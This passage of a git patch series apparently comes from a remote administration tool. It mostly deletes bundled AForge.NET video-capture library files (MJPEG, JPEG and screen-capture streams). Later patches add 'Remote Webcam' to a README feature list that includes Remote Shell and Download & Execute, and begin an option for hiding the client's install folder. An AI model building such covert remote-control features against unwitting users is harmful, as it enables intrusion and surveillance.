Explorer, the request is sent directly to the server. - /// - /// - public IWebProxy Proxy - { - get { return proxy; } - set { proxy = value; } - } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - public int FramesReceived - { - get - { - int frames = framesReceived; - framesReceived = 0; - return frames; - } - } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the video source provided from the moment of the last - /// access to the property. - /// - /// - public long BytesReceived - { - get - { - long bytes = bytesReceived; - bytesReceived = 0; - return bytes; - } - } - - /// - /// Request timeout value. - /// - /// - /// The property sets timeout value in milliseconds for web requests. - /// - /// Default value is set 10000 milliseconds. - /// - public int RequestTimeout - { - get { return requestTimeout; } - set { requestTimeout = value; } - } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - public bool IsRunning - { - get - { - if ( thread != null ) - { - // check thread status - if ( thread.Join( 0 ) == false ) - return true; - - // the thread is not running, free resources - Free( ); - } - return false; - } - } - - /// - /// Force using of basic authentication when connecting to the video source. - /// - /// - /// For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials - /// does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be - /// present on connection request). So this property allows to force basic authentication by adding required HTTP headers when - /// request is sent. - /// - /// Default value is set to . - /// - /// - public bool ForceBasicAuthentication - { - get { return forceBasicAuthentication; } - set { forceBasicAuthentication = value; } - } - - /// - /// Initializes a new instance of the class. - /// - /// - public JPEGStream( ) { } - - /// - /// Initializes a new instance of the class. - /// - /// - /// URL, which provides JPEG files. - /// - public JPEGStream( string source ) - { - this.source = source; - } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - /// Video source is not specified. - /// - public void Start( ) - { - if ( !IsRunning ) - { - // check source - if ( ( source == null ) || ( source == string.Empty ) ) - throw new ArgumentException( "Video source is not specified." ); - - framesReceived = 0; - bytesReceived = 0; - - // create events - stopEvent = new ManualResetEvent( false ); - - // create and start new thread - thread = new Thread( new ThreadStart( WorkerThread ) ); - thread.Name = source; // mainly for debugging - thread.Start( ); - } - } - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - public void SignalToStop( ) - { - // stop thread - if ( thread != null ) - { - // signal to stop - stopEvent.Set( ); - } - } - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for source stopping after it was signalled to stop using - /// method. - /// - public void WaitForStop( ) - { - if ( thread != null ) - { - // wait for thread stop - thread.Join( ); - - Free( ); - } - } - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - /// Since the method aborts background thread, its usage is highly not preferred - /// and should be done only if there are no other options. The correct way of stopping camera - /// is signaling it stop and then - /// waiting for background thread's completion. - /// - /// - public void Stop( ) - { - if ( this.IsRunning ) - { - stopEvent.Set( ); - thread.Abort( ); - WaitForStop( ); - } - } - - /// - /// Free resource. - /// - /// - private void Free( ) - { - thread = null; - - // release events - stopEvent.Close( ); - stopEvent = null; - } - - // Worker thread - private void WorkerThread( ) - { - // buffer to read stream - byte[] buffer = new byte[bufferSize]; - // HTTP web request - HttpWebRequest request = null; - // web responce - WebResponse response = null; - // stream for JPEG downloading - Stream stream = null; - // random generator to add fake parameter for cache preventing - Random rand = new Random( (int) DateTime.Now.Ticks ); - // download start time and duration - DateTime start; - TimeSpan span; - - while ( !stopEvent.WaitOne( 0, false ) ) - { - int read, total = 0; - - try - { - // set dowbload start time - start = DateTime.Now; - - // create request - if ( !preventCaching ) - { - // request without cache prevention - request = (HttpWebRequest) WebRequest.Create( source ); - } - else - { - // request with cache prevention - request = (HttpWebRequest) WebRequest.Create( source + ( ( source.IndexOf( '?' ) == -1 ) ? '?' : '&' ) + "fake=" + rand.Next( ).ToString( ) ); - } - - // set proxy - if ( proxy != null ) - { - request.Proxy = proxy; - } - - // set timeout value for the request - request.Timeout = requestTimeout; - // set login and password - if ( ( login != null ) && ( password != null ) && ( login != string.Empty ) ) - request.Credentials = new NetworkCredential( login, password ); - // set connection group name - if ( useSeparateConnectionGroup ) - request.ConnectionGroupName = GetHashCode( ).ToString( ); - // force basic authentication through extra headers if required - if ( forceBasicAuthentication ) - { - string authInfo = string.Format( "{0}:{1}", login, password ); - authInfo = Convert.ToBase64String( Encoding.Default.GetBytes( authInfo ) ); - request.Headers["Authorization"] = "Basic " + authInfo; - } - // get response - response = request.GetResponse( ); - // get response stream - stream = response.GetResponseStream( ); - stream.ReadTimeout = requestTimeout; - - // loop - while ( !stopEvent.WaitOne( 0, false ) ) - { - // check total read - if ( total > bufferSize - readSize ) - { - total = 0; - } - - // read next portion from stream - if ( ( read = stream.Read( buffer, total, readSize ) ) == 0 ) - break; - - total += read; - - // increment received bytes counter - bytesReceived += read; - } - - if ( !stopEvent.WaitOne( 0, false ) ) - { - // increment frames counter - framesReceived++; - - // provide new image to clients - if ( NewFrame != null ) - { - Bitmap bitmap = (Bitmap) Bitmap.FromStream( new MemoryStream( buffer, 0, total ) ); - // notify client - NewFrame( this, new NewFrameEventArgs( bitmap ) ); - // release the image - bitmap.Dispose( ); - bitmap = null; - } - } - - // wait for a while ? - if ( frameInterval > 0 ) - { - // get download duration - span = DateTime.Now.Subtract( start ); - // miliseconds to sleep - int msec = frameInterval - (int) span.TotalMilliseconds; - - if ( ( msec > 0 ) && ( stopEvent.WaitOne( msec, false ) ) ) - break; - } - } - catch ( ThreadAbortException ) - { - break; - } - catch ( Exception exception ) - { - // provide information to clients - if ( VideoSourceError != null ) - { - VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); - } - // wait for a while before the next try - Thread.Sleep( 250 ); - } - finally - { - // abort request - if ( request != null) - { - request.Abort( ); - request = null; - } - // close response stream - if ( stream != null ) - { - stream.Close( ); - stream = null; - } - // close response - if ( response != null ) - { - response.Close( ); - response = null; - } - } - - // need to stop ? - if ( stopEvent.WaitOne( 0, false ) ) - break; - } - - if ( PlayingFinished != null ) - { - PlayingFinished( this, ReasonToFinishPlaying.StoppedByUser ); - } - } - } -} diff --git a/Client/Core/AForge/Video/MJPEGStream.cs b/Client/Core/AForge/Video/MJPEGStream.cs deleted file mode 100644 index 612533a97..000000000 --- a/Client/Core/AForge/Video/MJPEGStream.cs +++ /dev/null @@ -1,704 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2005-2011 -// contacts@aforgenet.com -// - -namespace AForge.Video -{ - using System; - using System.Drawing; - using System.IO; - using System.Text; - using System.Threading; - using System.Net; - using System.Security; - - /// - /// MJPEG video source. - /// - /// - /// The video source downloads JPEG images from the specified URL, which represents - /// MJPEG stream. - /// - /// Sample usage: - /// - /// // create MJPEG video source - /// MJPEGStream stream = new MJPEGStream( "some url" ); - /// // set event handlers - /// stream.NewFrame += new NewFrameEventHandler( video_NewFrame ); - /// // start the video source - /// stream.Start( ); - /// // ... - /// - /// - /// Some cameras produce HTTP header, which does not conform strictly to - /// standard, what leads to .NET exception. To avoid this exception the useUnsafeHeaderParsing - /// configuration option of httpWebRequest should be set, what may be done using application - /// configuration file. - /// - /// <configuration> - /// <system.net> - /// <settings> - /// <httpWebRequest useUnsafeHeaderParsing="true" /> - /// </settings> - /// </system.net> - /// </configuration> - /// - /// - /// - public class MJPEGStream : IVideoSource - { - // URL for MJPEG stream - private string source; - // login and password for HTTP authentication - private string login = null; - private string password = null; - // proxy information - private IWebProxy proxy = null; - // received frames count - private int framesReceived; - // recieved byte count - private long bytesReceived; - // use separate HTTP connection group or use default - private bool useSeparateConnectionGroup = true; - // timeout value for web request - private int requestTimeout = 10000; - // if we should use basic authentication when connecting to the video source - private bool forceBasicAuthentication = false; - - // buffer size used to download MJPEG stream - private const int bufSize = 1024 * 1024; - // size of portion to read at once - private const int readSize = 1024; - - private Thread thread = null; - private ManualResetEvent stopEvent = null; - private ManualResetEvent reloadEvent = null; - - private string userAgent = "Mozilla/5.0"; - - /// - /// New frame event. - /// - /// - /// Notifies clients about new available frame from video source. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - public event NewFrameEventHandler NewFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - public event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - public event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Use or not separate connection group. - /// - /// - /// The property indicates to open web request in separate connection group. - /// - public bool SeparateConnectionGroup - { - get { return useSeparateConnectionGroup; } - set { useSeparateConnectionGroup = value; } - } - - /// - /// Video source. - /// - /// - /// URL, which provides MJPEG stream. - /// - public string Source - { - get { return source; } - set - { - source = value; - // signal to reload - if ( thread != null ) - reloadEvent.Set( ); - } - } - - /// - /// Login value. - /// - /// - /// Login required to access video source. - /// - public string Login - { - get { return login; } - set { login = value; } - } - - /// - /// Password value. - /// - /// - /// Password required to access video source. - /// - public string Password - { - get { return password; } - set { password = value; } - } - - /// - /// Gets or sets proxy information for the request. - /// - /// - /// The local computer or application config file may specify that a default - /// proxy to be used. If the Proxy property is specified, then the proxy settings from the Proxy - /// property overridea the local computer or application config file and the instance will use - /// the proxy settings specified. If no proxy is specified in a config file - /// and the Proxy property is unspecified, the request uses the proxy settings - /// inherited from Internet Explorer on the local computer. If there are no proxy settings - /// in Internet Explorer, the request is sent directly to the server. - /// - /// - public IWebProxy Proxy - { - get { return proxy; } - set { proxy = value; } - } - - /// - /// User agent to specify in HTTP request header. - /// - /// - /// Some IP cameras check what is the requesting user agent and depending - /// on it they provide video in different formats or do not provide it at all. The property - /// sets the value of user agent string, which is sent to camera in request header. - /// - /// - /// Default value is set to "Mozilla/5.0". If the value is set to , - /// the user agent string is not sent in request header. - /// - /// - public string HttpUserAgent - { - get { return userAgent; } - set { userAgent = value; } - } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - public int FramesReceived - { - get - { - int frames = framesReceived; - framesReceived = 0; - return frames; - } - } - - /// - /// Received bytes count. - /// - /// - /// Number of bytes the video source provided from the moment of the last - /// access to the property. - /// - /// - public long BytesReceived - { - get - { - long bytes = bytesReceived; - bytesReceived = 0; - return bytes; - } - } - - /// - /// Request timeout value. - /// - /// - /// The property sets timeout value in milliseconds for web requests. - /// Default value is 10000 milliseconds. - /// - public int RequestTimeout - { - get { return requestTimeout; } - set { requestTimeout = value; } - } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - public bool IsRunning - { - get - { - if ( thread != null ) - { - // check thread status - if ( thread.Join( 0 ) == false ) - return true; - - // the thread is not running, so free resources - Free( ); - } - return false; - } - } - - /// - /// Force using of basic authentication when connecting to the video source. - /// - /// - /// For some IP cameras (TrendNET IP cameras, for example) using standard .NET's authentication via credentials - /// does not seem to be working (seems like camera does not request for authentication, but expects corresponding headers to be - /// present on connection request). So this property allows to force basic authentication by adding required HTTP headers when - /// request is sent. - /// - /// Default value is set to . - /// - /// - public bool ForceBasicAuthentication - { - get { return forceBasicAuthentication; } - set { forceBasicAuthentication = value; } - } - - /// - /// Initializes a new instance of the class. - /// - /// - public MJPEGStream( ) { } - - /// - /// Initializes a new instance of the class. - /// - /// - /// URL, which provides MJPEG stream. - /// - public MJPEGStream( string source ) - { - this.source = source; - } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - /// Video source is not specified. - /// - public void Start( ) - { - if ( !IsRunning ) - { - // check source - if ( ( source == null ) || ( source == string.Empty ) ) - throw new ArgumentException( "Video source is not specified." ); - - framesReceived = 0; - bytesReceived = 0; - - // create events - stopEvent = new ManualResetEvent( false ); - reloadEvent = new ManualResetEvent( false ); - - // create and start new thread - thread = new Thread( new ThreadStart( WorkerThread ) ); - thread.Name = source; - thread.Start( ); - } - } - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - public void SignalToStop( ) - { - // stop thread - if ( thread != null ) - { - // signal to stop - stopEvent.Set( ); - } - } - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for source stopping after it was signalled to stop using - /// method. - /// - public void WaitForStop( ) - { - if ( thread != null ) - { - // wait for thread stop - thread.Join( ); - - Free( ); - } - } - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - /// Since the method aborts background thread, its usage is highly not preferred - /// and should be done only if there are no other options. The correct way of stopping camera - /// is signaling it stop and then - /// waiting for background thread's completion. - /// - /// - public void Stop( ) - { - if ( this.IsRunning ) - { - stopEvent.Set( ); - thread.Abort( ); - WaitForStop( ); - } - } - - /// - /// Free resource. - /// - /// - private void Free( ) - { - thread = null; - - // release events - stopEvent.Close( ); - stopEvent = null; - reloadEvent.Close( ); - reloadEvent = null; - } - - // Worker thread - private void WorkerThread( ) - { - // buffer to read stream - byte[] buffer = new byte[bufSize]; - // JPEG magic number - byte[] jpegMagic = new byte[] { 0xFF, 0xD8, 0xFF }; - int jpegMagicLength = 3; - - ASCIIEncoding encoding = new ASCIIEncoding( ); - - while ( !stopEvent.WaitOne( 0, false ) ) - { - // reset reload event - reloadEvent.Reset( ); - - // HTTP web request - HttpWebRequest request = null; - // web responce - WebResponse response = null; - // stream for MJPEG downloading - Stream stream = null; - // boundary betweeen images (string and binary versions) - byte[] boundary = null; - string boudaryStr = null; - // length of boundary - int boundaryLen; - // flag signaling if boundary was checked or not - bool boundaryIsChecked = false; - // read amounts and positions - int read, todo = 0, total = 0, pos = 0, align = 1; - int start = 0, stop = 0; - - // align - // 1 = searching for image start - // 2 = searching for image end - - try - { - // create request - request = (HttpWebRequest) WebRequest.Create( source ); - // set user agent - if ( userAgent != null ) - { - request.UserAgent = userAgent; - } - - // set proxy - if ( proxy != null ) - { - request.Proxy = proxy; - } - - // set timeout value for the request - request.Timeout = requestTimeout; - // set login and password - if ( ( login != null ) && ( password != null ) && ( login != string.Empty ) ) - request.Credentials = new NetworkCredential( login, password ); - // set connection group name - if ( useSeparateConnectionGroup ) - request.ConnectionGroupName = GetHashCode( ).ToString( ); - // force basic authentication through extra headers if required - if ( forceBasicAuthentication ) - { - string authInfo = string.Format( "{0}:{1}", login, password ); - authInfo = Convert.ToBase64String( Encoding.Default.GetBytes( authInfo ) ); - request.Headers["Authorization"] = "Basic " + authInfo; - } - // get response - response = request.GetResponse( ); - - // check content type - string contentType = response.ContentType; - string[] contentTypeArray = contentType.Split( '/' ); - - // "application/octet-stream" - if ( ( contentTypeArray[0] == "application" ) && ( contentTypeArray[1] == "octet-stream" ) ) - { - boundaryLen = 0; - boundary = new byte[0]; - } - else if ( ( contentTypeArray[0] == "multipart" ) && ( contentType.Contains( "mixed" ) ) ) - { - // get boundary - int boundaryIndex = contentType.IndexOf( "boundary", 0 ); - if ( boundaryIndex != -1 ) - { - boundaryIndex = contentType.IndexOf( "=", boundaryIndex + 8 ); - } - - if ( boundaryIndex == -1 ) - { - // try same scenario as with octet-stream, i.e. without boundaries - boundaryLen = 0; - boundary = new byte[0]; - } - else - { - boudaryStr = contentType.Substring( boundaryIndex + 1 ); - // remove spaces and double quotes, which may be added by some IP cameras - boudaryStr = boudaryStr.Trim( ' ', '"' ); - - boundary = encoding.GetBytes( boudaryStr ); - boundaryLen = boundary.Length; - boundaryIsChecked = false; - } - } - else - { - throw new Exception( "Invalid content type." ); - } - - // get response stream - stream = response.GetResponseStream( ); - stream.ReadTimeout = requestTimeout; - - // loop - while ( ( !stopEvent.WaitOne( 0, false ) ) && ( !reloadEvent.WaitOne( 0, false ) ) ) - { - // check total read - if ( total > bufSize - readSize ) - { - total = pos = todo = 0; - } - - // read next portion from stream - if ( ( read = stream.Read( buffer, total, readSize ) ) == 0 ) - throw new ApplicationException( ); - - total += read; - todo += read; - - // increment received bytes counter - bytesReceived += read; - - // do we need to check boundary ? - if ( ( boundaryLen != 0 ) && ( !boundaryIsChecked ) ) - { - // some IP cameras, like AirLink, claim that boundary is "myboundary", - // when it is really "--myboundary". this needs to be corrected. - - pos = ByteArrayUtils.Find( buffer, boundary, 0, todo ); - // continue reading if boudary was not found - if ( pos == -1 ) - continue; - - for ( int i = pos - 1; i >= 0; i-- ) - { - byte ch = buffer[i]; - - if ( ( ch == (byte) '\n' ) || ( ch == (byte) '\r' ) ) - { - break; - } - - boudaryStr = (char) ch + boudaryStr; - } - - boundary = encoding.GetBytes( boudaryStr ); - boundaryLen = boundary.Length; - boundaryIsChecked = true; - } - - // search for image start - if ( ( align == 1 ) && ( todo >= jpegMagicLength ) ) - { - start = ByteArrayUtils.Find( buffer, jpegMagic, pos, todo ); - if ( start != -1 ) - { - // found JPEG start - pos = start + jpegMagicLength; - todo = total - pos; - align = 2; - } - else - { - // delimiter not found - todo = jpegMagicLength - 1; - pos = total - todo; - } - } - - // search for image end ( boundaryLen can be 0, so need extra check ) - while ( ( align == 2 ) && ( todo != 0 ) && ( todo >= boundaryLen ) ) - { - stop = ByteArrayUtils.Find( buffer, - ( boundaryLen != 0 ) ? boundary : jpegMagic, - pos, todo ); - - if ( stop != -1 ) - { - pos = stop; - todo = total - pos; - - // increment frames counter - framesReceived ++; - - // image at stop - if ( ( NewFrame != null ) && ( !stopEvent.WaitOne( 0, false ) ) ) - { - Bitmap bitmap = (Bitmap) Bitmap.FromStream ( new MemoryStream( buffer, start, stop - start ) ); - // notify client - NewFrame( this, new NewFrameEventArgs( bitmap ) ); - // release the image - bitmap.Dispose( ); - bitmap = null; - } - - // shift array - pos = stop + boundaryLen; - todo = total - pos; - Array.Copy( buffer, pos, buffer, 0, todo ); - - total = todo; - pos = 0; - align = 1; - } - else - { - // boundary not found - if ( boundaryLen != 0 ) - { - todo = boundaryLen - 1; - pos = total - todo; - } - else - { - todo = 0; - pos = total; - } - } - } - } - } - catch ( ApplicationException ) - { - // do nothing for Application Exception, which we raised on our own - // wait for a while before the next try - Thread.Sleep( 250 ); - } - catch ( ThreadAbortException ) - { - break; - } - catch ( Exception exception ) - { - // provide information to clients - if ( VideoSourceError != null ) - { - VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); - } - // wait for a while before the next try - Thread.Sleep( 250 ); - } - finally - { - // abort request - if ( request != null) - { - request.Abort( ); - request = null; - } - // close response stream - if ( stream != null ) - { - stream.Close( ); - stream = null; - } - // close response - if ( response != null ) - { - response.Close( ); - response = null; - } - } - - // need to stop ? - if ( stopEvent.WaitOne( 0, false ) ) - break; - } - - if ( PlayingFinished != null ) - { - PlayingFinished( this, ReasonToFinishPlaying.StoppedByUser ); - } - } - } -} diff --git a/Client/Core/AForge/Video/ScreenCaptureStream.cs b/Client/Core/AForge/Video/ScreenCaptureStream.cs deleted file mode 100644 index d4a007780..000000000 --- a/Client/Core/AForge/Video/ScreenCaptureStream.cs +++ /dev/null @@ -1,396 +0,0 @@ -// AForge Video Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2005-2012 -// contacts@aforgenet.com -// -// Copyright © César Souza, 2012 -// cesarsouza@gmail.com -// - -namespace AForge.Video -{ - using System; - using System.Drawing; - using System.Drawing.Imaging; - using System.Threading; - - /// - /// Screen capture video source. - /// - /// - /// The video source constantly captures the desktop screen. - /// - /// Sample usage: - /// - /// // get entire desktop area size - /// Rectangle screenArea = Rectangle.Empty; - /// foreach ( System.Windows.Forms.Screen screen in - /// System.Windows.Forms.Screen.AllScreens ) - /// { - /// screenArea = Rectangle.Union( screenArea, screen.Bounds ); - /// } - /// - /// // create screen capture video source - /// ScreenCaptureStream stream = new ScreenCaptureStream( screenArea ); - /// - /// // set NewFrame event handler - /// stream.NewFrame += new NewFrameEventHandler( video_NewFrame ); - /// - /// // start the video source - /// stream.Start( ); - /// - /// // ... - /// // signal to stop - /// stream.SignalToStop( ); - /// // ... - /// - /// private void video_NewFrame( object sender, NewFrameEventArgs eventArgs ) - /// { - /// // get new frame - /// Bitmap bitmap = eventArgs.Frame; - /// // process the frame - /// } - /// - /// - /// - public class ScreenCaptureStream : IVideoSource - { - private Rectangle region; - - // frame interval in milliseconds - private int frameInterval = 100; - // received frames count - private int framesReceived; - - private Thread thread = null; - private ManualResetEvent stopEvent = null; - - /// - /// New frame event. - /// - /// - /// Notifies clients about new available frame from video source. - /// - /// Since video source may have multiple clients, each client is responsible for - /// making a copy (cloning) of the passed video frame, because the video source disposes its - /// own original copy after notifying of clients. - /// - /// - public event NewFrameEventHandler NewFrame; - - /// - /// Video source error event. - /// - /// - /// This event is used to notify clients about any type of errors occurred in - /// video source object, for example internal exceptions. - /// - public event VideoSourceErrorEventHandler VideoSourceError; - - /// - /// Video playing finished event. - /// - /// - /// This event is used to notify clients that the video playing has finished. - /// - /// - public event PlayingFinishedEventHandler PlayingFinished; - - /// - /// Video source. - /// - /// - public virtual string Source - { - get { return "Screen Capture"; } - } - - /// - /// Gets or sets the screen capture region. - /// - /// - /// This property specifies which region (rectangle) of the screen to capture. It may cover multiple displays - /// if those are available in the system. - /// - /// The property must be set before starting video source to have any effect. - /// - /// - public Rectangle Region - { - get { return region; } - set { region = value; } - } - - /// - /// Time interval between making screen shots, ms. - /// - /// - /// The property specifies time interval in milliseconds between consequent screen captures. - /// Expected frame rate of the stream should be approximately 1000/FrameInteval. - /// - /// If the property is set to 0, then the stream will capture screen as fast as the system allows. - /// - /// Default value is set to 100. - /// - /// - public int FrameInterval - { - get { return frameInterval; } - set { frameInterval = Math.Max( 0, value ); } - } - - /// - /// Received frames count. - /// - /// - /// Number of frames the video source provided from the moment of the last - /// access to the property. - /// - /// - public int FramesReceived - { - get - { - int frames = framesReceived; - framesReceived = 0; - return frames; - } - } - - /// - /// Received bytes count. - /// - /// - /// The property is not implemented for this video source and always returns 0. - /// - /// - public long BytesReceived - { - get { return 0; } - } - - /// - /// State of the video source. - /// - /// - /// Current state of video source object - running or not. - /// - public bool IsRunning - { - get - { - if ( thread != null ) - { - // check thread status - if ( thread.Join( 0 ) == false ) - return true; - - // the thread is not running, free resources - Free( ); - } - return false; - } - } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Screen's rectangle to capture (the rectangle may cover multiple displays). - /// - public ScreenCaptureStream( Rectangle region ) - { - this.region = region; - } - - /// - /// Initializes a new instance of the class. - /// - /// - /// Screen's rectangle to capture (the rectangle may cover multiple displays). - /// Time interval between making screen shots, ms. - /// - public ScreenCaptureStream( Rectangle region, int frameInterval ) - { - this.region = region; - this.FrameInterval = frameInterval; - } - - /// - /// Start video source. - /// - /// - /// Starts video source and return execution to caller. Video source - /// object creates background thread and notifies about new frames with the - /// help of event. - /// - /// Video source is not specified. - /// - public void Start( ) - { - if ( !IsRunning ) - { - framesReceived = 0; - - // create events - stopEvent = new ManualResetEvent( false ); - - // create and start new thread - thread = new Thread( new ThreadStart( WorkerThread ) ); - thread.Name = Source; // mainly for debugging - thread.Start( ); - } - } - - /// - /// Signal video source to stop its work. - /// - /// - /// Signals video source to stop its background thread, stop to - /// provide new frames and free resources. - /// - public void SignalToStop( ) - { - // stop thread - if ( thread != null ) - { - // signal to stop - stopEvent.Set( ); - } - } - - /// - /// Wait for video source has stopped. - /// - /// - /// Waits for source stopping after it was signalled to stop using - /// method. - /// - public void WaitForStop( ) - { - if ( thread != null ) - { - // wait for thread stop - thread.Join( ); - - Free( ); - } - } - - /// - /// Stop video source. - /// - /// - /// Stops video source aborting its thread. - /// - /// Since the method aborts background thread, its usage is highly not preferred - /// and should be done only if there are no other options. The correct way of stopping camera - /// is signaling it stop and then - /// waiting for background thread's completion. - /// - /// - public void Stop( ) - { - if ( this.IsRunning ) - { - stopEvent.Set( ); - thread.Abort( ); - WaitForStop( ); - } - } - - /// - /// Free resource. - /// - /// - private void Free( ) - { - thread = null; - - // release events - stopEvent.Close( ); - stopEvent = null; - } - - // Worker thread - private void WorkerThread( ) - { - int width = region.Width; - int height = region.Height; - int x = region.Location.X; - int y = region.Location.Y; - Size size = region.Size; - - Bitmap bitmap = new Bitmap( width, height, PixelFormat.Format32bppArgb ); - Graphics graphics = Graphics.FromImage( bitmap ); - - // download start time and duration - DateTime start; - TimeSpan span; - - while ( !stopEvent.WaitOne( 0, false ) ) - { - // set dowbload start time - start = DateTime.Now; - - try - { - // capture the screen - graphics.CopyFromScreen( x, y, 0, 0, size, CopyPixelOperation.SourceCopy ); - - // increment frames counter - framesReceived++; - - // provide new image to clients - if ( NewFrame != null ) - { - // notify client - NewFrame( this, new NewFrameEventArgs( bitmap ) ); - } - - // wait for a while ? - if ( frameInterval > 0 ) - { - // get download duration - span = DateTime.Now.Subtract( start ); - - // miliseconds to sleep - int msec = frameInterval - (int) span.TotalMilliseconds; - - if ( ( msec > 0 ) && ( stopEvent.WaitOne( msec, false ) ) ) - break; - } - } - catch ( ThreadAbortException ) - { - break; - } - catch ( Exception exception ) - { - // provide information to clients - if ( VideoSourceError != null ) - { - VideoSourceError( this, new VideoSourceErrorEventArgs( exception.Message ) ); - } - // wait for a while before the next try - Thread.Sleep( 250 ); - } - - // need to stop ? - if ( stopEvent.WaitOne( 0, false ) ) - break; - } - - // release resources - graphics.Dispose( ); - bitmap.Dispose( ); - - if ( PlayingFinished != null ) - { - PlayingFinished( this, ReasonToFinishPlaying.StoppedByUser ); - } - } - } -} diff --git a/Client/Core/AForge/Video/SystemTools.cs b/Client/Core/AForge/Video/SystemTools.cs deleted file mode 100644 index cc5285316..000000000 --- a/Client/Core/AForge/Video/SystemTools.cs +++ /dev/null @@ -1,164 +0,0 @@ -// AForge Core Library -// AForge.NET framework -// http://www.aforgenet.com/framework/ -// -// Copyright © AForge.NET, 2007-2011 -// contacts@aforgenet.com -// - -namespace AForge -{ - using System; - using System.Runtime.InteropServices; - - /// - /// Set of systems tools. - /// - /// - /// The class is a container of different system tools, which are used - /// across the framework. Some of these tools are platform specific, so their - /// implementation is different on different platform, like .NET and Mono. - /// - /// - public static class SystemTools - { - /// - /// Copy block of unmanaged memory. - /// - /// - /// Destination pointer. - /// Source pointer. - /// Memory block's length to copy. - /// - /// Return's value of - pointer to destination. - /// - /// This function is required because of the fact that .NET does - /// not provide any way to copy unmanaged blocks, but provides only methods to - /// copy from unmanaged memory to managed memory and vise versa. - /// - public static IntPtr CopyUnmanagedMemory( IntPtr dst, IntPtr src, int count ) - { - unsafe - { - CopyUnmanagedMemory( (byte*) dst.ToPointer( ), (byte*) src.ToPointer( ), count ); - } - return dst; - } - - /// - /// Copy block of unmanaged memory. - /// - /// - /// Destination pointer. - /// Source pointer. - /// Memory block's length to copy. - /// - /// Return's value of - pointer to destination. - /// - /// This function is required because of the fact that .NET does - /// not provide any way to copy unmanaged blocks, but provides only methods to - /// copy from unmanaged memory to managed memory and vise versa. - /// - public static unsafe byte* CopyUnmanagedMemory( byte* dst, byte* src, int count ) - { -#if !MONO - return memcpy( dst, src, count ); -#else - int countUint = count >> 2; - int countByte = count & 3; - - uint* dstUint = (uint*) dst; - uint* srcUint = (uint*) src; - - while ( countUint-- != 0 ) - { - *dstUint++ = *srcUint++; - } - - byte* dstByte = (byte*) dstUint; - byte* srcByte = (byte*) srcUint; - - while ( countByte-- != 0 ) - { - *dstByte++ = *srcByte++; - } - return dst; -#endif - } - - /// - /// Fill memory region with specified value. - /// - /// - /// Destination pointer. - /// Filler byte's value. - /// Memory block's length to fill. - /// - /// Return's value of - pointer to destination. - /// - public static IntPtr SetUnmanagedMemory( IntPtr dst, int filler, int count ) - { - unsafe - { - SetUnmanagedMemory( (byte*) dst.ToPointer( ), filler, count ); - } - return dst; - } - - /// - /// Fill memory region with specified value. - /// - /// - /// Destination pointer. - /// Filler byte's value. - /// Memory block's length to fill. - /// - /// Return's value of - pointer to destination. - /// - public static unsafe byte* SetUnmanagedMemory( byte* dst, int filler, int count ) - { -#if !MONO - return memset( dst, filler, count ); -#else - int countUint = count >> 2; - int countByte = count & 3; - - byte fillerByte = (byte) filler; - uint fiilerUint = (uint) filler | ( (uint) filler << 8 ) | - ( (uint) filler << 16 );// | - //( (uint) filler << 24 ); - - uint* dstUint = (uint*) dst; - - while ( countUint-- != 0 ) - { - *dstUint++ = fiilerUint; - } - - byte* dstByte = (byte*) dstUint; - - while ( countByte-- != 0 ) - { - *dstByte++ = fillerByte; - } - return dst; -#endif - } - - -#if !MONO - // Win32 memory copy function - [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] - private static unsafe extern byte* memcpy( - byte* dst, - byte* src, - int count ); - // Win32 memory set function - [DllImport( "ntdll.dll", CallingConvention = CallingConvention.Cdecl )] - private static unsafe extern byte* memset( - byte* dst, - int filler, - int count ); -#endif - } -} From 9926ff983e46494537bbc306f5481acfcd6b9500 Mon Sep 17 00:00:00 2001 From: Darius Costolas Date: Tue, 14 Jun 2016 12:59:26 +0300 Subject: [PATCH 047/229] Added Remote Webcam as feature in readme.md --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 7a1a45447..4702ecd1d 100644 --- a/README.md +++ b/README.md @@ -20,6 +20,7 @@ Features * File Manager * Startup Manager * Remote Desktop +* Remote Webcam * Remote Shell * Download & Execute * Upload & Execute From de193764a64af90af05ad5bdc1a793aff0530da5 Mon Sep 17 00:00:00 2001 From: Darius Costolas Date: Tue, 14 Jun 2016 15:42:05 +0300 Subject: [PATCH 048/229] Added option for hiding Install Subfolder #462 --- Client/Config/Settings.cs | 1 + Client/Program.cs | 11 +++ Server/Core/Build/ClientBuilder.cs | 3 + Server/Core/Data/BuildOptions.cs | 1 + 